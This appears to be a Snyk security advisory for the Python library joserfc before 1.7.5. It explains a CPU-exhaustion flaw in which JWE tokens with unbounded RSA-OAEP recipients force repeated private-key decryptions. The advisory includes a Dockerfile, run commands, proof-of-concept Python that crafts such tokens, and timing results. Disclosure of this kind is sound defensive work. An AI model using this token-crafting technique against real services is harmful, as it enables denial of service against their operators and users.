Snyk has a proof-of-concept or detailed explanation of how to exploit this vulnerability.
The probability is the direct output of the EPSS model, and conveys an overall sense of the threat of exploitation in the wild. The percentile measures the EPSS probability relative to all known EPSS scores. Note: This data is updated daily, relying on the latest available EPSS model version. Check out the EPSS documentation for more details.
In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.
Test your applicationsLearn about Allocation of Resources Without Limits or Throttling vulnerabilities in an interactive lesson.
Start learningUpgrade joserfc to version 1.7.5 or higher.
Affected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling via decrypt_json() in JWE General JSON Serialization processing, where an attacker can supply a token containing an unbounded number of recipients, each of which triggers a full RSA private-key decryption operation. Because no upper bound on recipient count was enforced prior to the fix, processing time scales linearly with the attacker-controlled recipient count, exhausting CPU resources. The verify_all_recipients=False flag does not mitigate the cost, as the fix confirms by also adding an early-exit optimization alongside the new max_recipients limit.
Both static (Phase 1) and dynamic, containerized (Phase 2) reproduction confirmed the vulnerability against unmodified joserfc 1.7.4 source.
Environment setup (Dockerfile):
FROM python:3.12-slim
WORKDIR /app
# Copy the exact repository source under test (unmodified).
COPY repo /app/repo
# Install joserfc from local source in editable/normal mode.
RUN pip install --no-cache-dir /app/repo
# Copy the PoC script.
COPY vuln-001/poc.py /app/poc.py
ENTRYPOINT ["python3", "/app/poc.py"]
Build and run (source is used unmodified; container has no network access):
docker build -t joserfc-vuln001 -f vuln-001/Dockerfile .
docker run --rm --network none joserfc-vuln001 --recipients 1 500 1500
PoC logic (poc.py): generates a victim RSA-2048 keypair (representing the RSA key an application would use for RSA-OAEP JWE decryption), crafts a General JSON JWE (GeneralJSONEncryption) wrapping a small plaintext with an attacker-chosen number n of RSA-OAEP recipients (all using the victim's public key, which is inherently public for JWE encryption), then calls the unmodified public API joserfc.jwe.decrypt_json() and measures wall-clock decrypt time, once with verify_all_recipients=True and once with verify_all_recipients=False.
def build_token(public_key, n_recipients: int) -> tuple[str, int]: obj = GeneralJSONEncryption({"enc": "A128GCM"}, b"hello") for _ in range(n_recipients): obj.add_recipient({"alg": "RSA-OAEP"}, public_key) token = jwe.encrypt_json(obj, None) size_bytes = len(json.dumps(token).encode()) return token, size_bytes
def measure_decrypt(token, private_key, verify_all_recipients: bool) -> float: registry = JWERegistry(verify_all_recipients=verify_all_recipients) t0 = time.perf_counter() out = jwe.decrypt_json(token, private_key, registry=registry) dt = time.perf_counter() - t0 assert out.plaintext == b"hello" return dt
Observed results (Phase 2, inside the Docker container, --network none, unmodified source):
[*] Attacker crafts General JSON JWE with recipients=1 ...
verify_all_recipients=True -> decrypt_json() succeeded, size_bytes=536 decrypt_seconds=0.002
verify_all_recipients=False -> decrypt_json() succeeded, size_bytes=536 decrypt_seconds=0.001
[*] Attacker crafts General JSON JWE with recipients=500 ...
verify_all_recipients=True -> decrypt_json() succeeded, size_bytes=198140 decrypt_seconds=0.631
verify_all_recipients=False -> decrypt_json() succeeded, size_bytes=198140 decrypt_seconds=0.651
[*] Attacker crafts General JSON JWE with recipients=1500 ...
verify_all_recipients=True -> decrypt_json() succeeded, size_bytes=594140 decrypt_seconds=1.874
verify_all_recipients=False -> decrypt_json() succeeded, size_bytes=594140 decrypt_seconds=1.875
[CHECK] recipient_count_ratio=1500.0x decrypt_time_ratio=937.0x
[PASS] decrypt_json() performed one RSA private-key decrypt per attacker-supplied recipient with
no upper bound, and verify_all_recipients=False did not mitigate the cost.
Independent static-phase (Phase 1) reproduction against the same commit, outside the container, produced the same linear-scaling behavior (recipients=500 → 198,140 bytes → 0.627s; recipients=1500 → 594,140 bytes → 1.957s), and the original report's own local run showed recipients=1000 → 396,140 bytes → 1.254s; recipients=3000 → 1,188,140 bytes → 3.762s. In every run, plaintext=b'hello' was correctly recovered, confirming each crafted request is fully valid input, not malformed data rejected early.
In all cases, verify_all_recipients=False produced decrypt times statistically identical to verify_all_recipients=True for the same recipient count (e.g. 500 recipients: 0.631s vs 0.651s; 1500 recipients: 1.874s vs 1.875s), empirically confirming that this documented flag does not mitigate the CPU cost.
Note: The PoC runs inside a Docker container based on python:3.12-slim with joserfc installed from unmodified local source, with no network access.